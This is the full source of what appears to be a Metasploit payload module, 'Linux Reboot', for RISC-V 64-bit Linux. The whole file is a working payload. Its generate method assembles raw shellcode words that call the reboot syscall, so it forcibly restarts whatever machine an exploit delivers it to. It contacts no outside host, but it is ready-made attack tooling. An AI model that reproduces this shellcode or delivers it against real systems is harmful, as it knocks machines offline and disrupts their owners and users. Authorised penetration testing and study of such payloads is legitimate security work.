module MetasploitModule
CachedSize = 40
include Msf::Payload::Single
include Msf::Payload::Linux
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Reboot',
'Description' => %q{
A very small shellcode for rebooting the system using
the reboot syscall. This payload is sometimes helpful
for testing purposes.
},
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_RISCV64LE
)
)
end
def generate(_opts = {})
shellcode =
[0x0007f537].pack('V*') +
[0x70f5051b].pack('V*') +
[0x00d51513].pack('V*') +
[0xead50513].pack('V*') +
[0x281225b7].pack('V*') +
[0x9695859b].pack('V*') +
[0x01234637].pack('V*') +
[0x5676061b].pack('V*') +
[0x08e00893].pack('V*') +
[0x00000073].pack('V*')
super.to_s + shellcode
end
end